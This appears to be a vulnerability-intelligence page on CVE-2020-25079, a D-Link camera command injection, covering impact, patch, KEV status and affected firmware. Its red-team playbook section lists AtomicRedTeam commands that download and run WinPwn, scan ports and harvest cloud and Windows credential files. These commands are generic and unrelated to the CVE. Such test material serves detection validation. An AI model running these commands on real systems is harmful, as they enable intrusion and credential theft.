CVE-2020-25079
Overview
This vulnerability is an authenticated command injection affecting the Dynamic DNS configuration CGI script (cgi-bin/ddns_enc.cgi) in certain D-Link devices. The root cause lies in improper input validation and sanitization of user-supplied parameters within the ddns_enc.cgi endpoint, allowing injection of arbitrary system commands. The flaw specifically impacts the Dynamic DNS update functionality on affected D-Link camera firmware versions.
Vulnerability Description
An issue was discovered on D-Link DCS-2530L before 1.06.01 Hotfix and DCS-2670L through 2.02 devices. cgi-bin/ddns_enc.cgi allows authenticated command injection.
Impact
An attacker with valid credentials can execute arbitrary commands on the device’s operating system, potentially leading to full system compromise. This enables unauthorized control over device functionality, data exfiltration, or lateral movement within the network. The requirement for authenticated access lowers the barrier to exploitation but still poses a critical risk to device integrity and network security in environments where credentials may be compromised or shared.
Solution
D-Link has released firmware updates addressing this vulnerability, including version 1.06.01 Hotfix for DCS-2530L and version 2.02 or later for DCS-2670L devices. Administrators should apply these updates promptly. Detailed patch instructions and advisory information are available at D-Link’s official support announcement: https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10180. No alternative workarounds are specified by the vendor.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question pertains to a command injection flaw found in specific D-Link camera models, notably the DCS-2530L and DCS-2670L, among others. This issue arises from improper handling of user input in the ddns_enc.cgi script, which is responsible for dynamic DNS services. When an authenticated user interacts with this CGI script, it fails to adequately sanitize input, allowing an attacker to inject arbitrary commands into the system. The severity of this vulnerability is underscored by its high CVSS score of 8.8, indicating a critical risk to affected devices.
Attack vectors for this vulnerability primarily involve authenticated users exploiting the command injection flaw. An attacker with valid credentials could craft a malicious request to the ddns_enc.cgi script, injecting commands that the system would execute with the privileges of the web server. This could lead to unauthorized access to sensitive data, manipulation of device settings, or even complete control over the affected device. Scenarios could include an attacker leveraging this vulnerability to install malware, redirecting video feeds, or using the compromised device as part of a larger botnet for distributed denial-of-service (DDoS) attacks.
The real-world impact of this vulnerability is significant, particularly for businesses relying on these surveillance devices for security. Compromised cameras could lead to unauthorized surveillance, data breaches, and loss of customer trust. Furthermore, the potential for these devices to be used in broader attacks poses a considerable business risk. Organizations may face regulatory scrutiny, legal liabilities, and reputational damage if sensitive information is exposed or if their devices are implicated in cybercriminal activities. The financial implications of a breach could be substantial, encompassing costs related to incident response, remediation, and potential fines.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating firmware to the latest versions is crucial, as manufacturers often release patches to address known vulnerabilities. Additionally, employing network segmentation can help isolate these devices from critical systems, minimizing potential damage in the event of a compromise. Intrusion detection systems (IDS) can also be configured to monitor for unusual traffic patterns or unauthorized access attempts, providing an additional layer of security. Furthermore, organizations should enforce strong authentication mechanisms and limit user access to only those who require it, thereby reducing the attack surface.
In conclusion, the command injection vulnerability in D-Link camera models poses a serious threat to both individual users and organizations. The ability for an authenticated user to execute arbitrary commands can lead to severe consequences, including unauthorized access and exploitation of sensitive data. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare their defenses. Implementing robust detection and mitigation strategies will be essential in safeguarding against this and similar vulnerabilities, ensuring the integrity and security of their networked devices.
CVE-2020-25079 has recently been incorporated into the CISA Known Exploited Vulnerabilities (KEV) catalog, reflecting a formal recognition of its criticality by a leading U.S. cybersecurity authority. This inclusion, accompanied by an updated CVSS score rising sharply from 0.0 to 8.8, underscores a reassessment of the vulnerability’s impact and exploitability. Concurrently, the Exploit Prediction Scoring System (EPSS) has registered a significant score increase to 0.4827, placing this vulnerability near the top percentile for likely exploitation in the near term. Although no new exploit activity has been detected by our telemetry, these developments signal heightened attention and potential prioritization by threat actors. For defenders, this means that CVE-2020-25079 should now be treated as a high-priority risk, warranting immediate consideration within vulnerability management and patching workflows. The elevated EPSS score suggests an increased probability of exploitation attempts emerging, even if such activity has not yet materialized in the wild. Overall, the threat level has escalated from negligible to high, necessitating vigilance and proactive monitoring to mitigate potential compromise stemming from authenticated command injection in affected D-Link camera models.
Affected Products (9)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Dlink | Dcs-4703e Firmware | All |
cpe:2.3:o:dlink:dcs-4703e_firmware:*:*:*:*:*:*:*:*
|
|
|
Dlink | Dcs-4705e Firmware | All |
cpe:2.3:o:dlink:dcs-4705e_firmware:*:*:*:*:*:*:*:*
|
|
|
Dlink | Dcs-4802e Firmware | All |
cpe:2.3:o:dlink:dcs-4802e_firmware:*:*:*:*:*:*:*:*
|
|
|
Dlink | Dcs-P703 Firmware | All |
cpe:2.3:o:dlink:dcs-p703_firmware:*:*:*:*:*:*:*:*
|
|
|
Dlink | Dcs-4603 Firmware | All |
cpe:2.3:o:dlink:dcs-4603_firmware:*:*:*:*:*:*:*:*
|
|
|
Dlink | Dcs-4622 Firmware | All |
cpe:2.3:o:dlink:dcs-4622_firmware:*:*:*:*:*:*:*:*
|
|
|
Dlink | Dcs-4701e Firmware | All |
cpe:2.3:o:dlink:dcs-4701e_firmware:*:*:*:*:*:*:*:*
|
|
|
Dlink | Dcs-2530l Firmware | All |
cpe:2.3:o:dlink:dcs-2530l_firmware:*:*:*:*:*:*:*:*
|
|
|
Dlink | Dcs-2670l Firmware | All |
cpe:2.3:o:dlink:dcs-2670l_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-25079 |
| supportannouncement.us.dlink.com |
GitHub CVE
x_refsource_MISC
|
https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10180 |
| twitter.com |
GitHub CVE
x_refsource_MISC
|
https://twitter.com/Dogonsecurity/status/1271265152118259712 |
| support.dlink.com |
NVD API
Product
|
https://support.dlink.com/productinfo.aspx?m=DCS-2530L |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-25079 |